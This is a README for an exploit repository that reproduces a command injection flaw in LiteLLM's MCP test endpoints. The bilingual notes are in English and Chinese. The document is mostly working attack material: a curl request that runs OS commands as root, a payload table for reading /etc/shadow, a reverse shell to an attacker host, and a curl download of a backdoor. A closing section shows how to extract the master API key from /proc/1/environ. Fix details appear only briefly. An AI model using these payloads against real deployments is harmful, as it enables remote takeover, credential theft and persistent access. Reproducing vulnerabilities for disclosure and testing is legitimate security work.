
The code for personally reproducing the corresponding vulnerability
LiteLLM
POST /mcp-rest/test/connection&POST /mcp-rest/test/tools/list— Authenticated command injection via MCP stdio transport. Any valid API key can execute arbitrary OS commands as root (in default Docker deployment).镜像已通过 digest 固定:vulnerable 容器固定为 LiteLLM v1.82.6,确保长期可复现。
| Field | Value |
|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (OS Command Injection) |
| Affected | LiteLLM >= 1.74.2, < 1.83.7 |
| Fixed | v1.83.7+ (command whitelist + PROXY_ADMIN role check added) |
| Published | 2026-05-08 |
| Pinned version | v1.82.6 — 镜像通过 digest 固定,确保长期可复现 |
| Links | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
Two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accept a full MCP server configuration in the request body, including command, args, and env fields used by the stdio transport.
When called with a stdio configuration, the endpoints spawn the supplied command as a subprocess on the proxy host with the privileges of the proxy process (root in default Docker).
Key issue: The endpoints only check for a valid proxy API key with no role check — even low-privilege internal_user keys can exploit this.
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
The API returns "Failed to connect to MCP server" because the spawned process doesn't speak the MCP protocol — but the command has already been executed with root privileges.
| Scenario | Payload |
|---|---|
| Basic RCE | "args": ["-c", "id > /tmp/pwned"] |
| Read files | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Exfiltrate env | `"args": ["-c", "cat /proc/1/environ |
| Reverse shell | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| Persistence | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionTests an MCP server connection. With stdio transport, spawns the provided command.
POST /mcp-rest/test/tools/listLists tools from a test MCP server. Same behavior — spawns the provided command when using stdio transport.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| Field | Type | Required | Description |
|---|---|---|---|
transport | string | Yes | Must be "stdio" for command injection |
command | string | Yes | Executable to spawn (e.g., bash, python, curl) |
args | array | Yes | Arguments passed to the command |
env | object | No | Environment variables for the subprocess |
The fix added two layers of defense:
validate_transport_fields() — only allows: npx, uvx, python, python3, node, docker, denoPROXY_ADMIN roleCVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN role check)/mcp-rest/test/connection and /mcp-rest/test/tools/list at reverse proxydocker run --user 1000:1000 ...复现 5.7 节(提取进程环境变量) 时需注意:MCP Python SDK v1.25.0+ 在创建 stdio 子进程时,不会继承 LiteLLM 父进程的环境变量。SDK 通过 get_default_environment() 仅传递 HOME 和 PATH,再合并用户显式指定的 env 字段。
因此 env > /tmp/env_dump 无法捕获 LITELLM_MASTER_KEY。
正确做法:通过读取 LiteLLM 主进程的 /proc/1/environ 提取环境变量:
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
详情见 复现报告 5.7 节。
Disclaimer: This content is provided for educational purposes and authorized security testing only.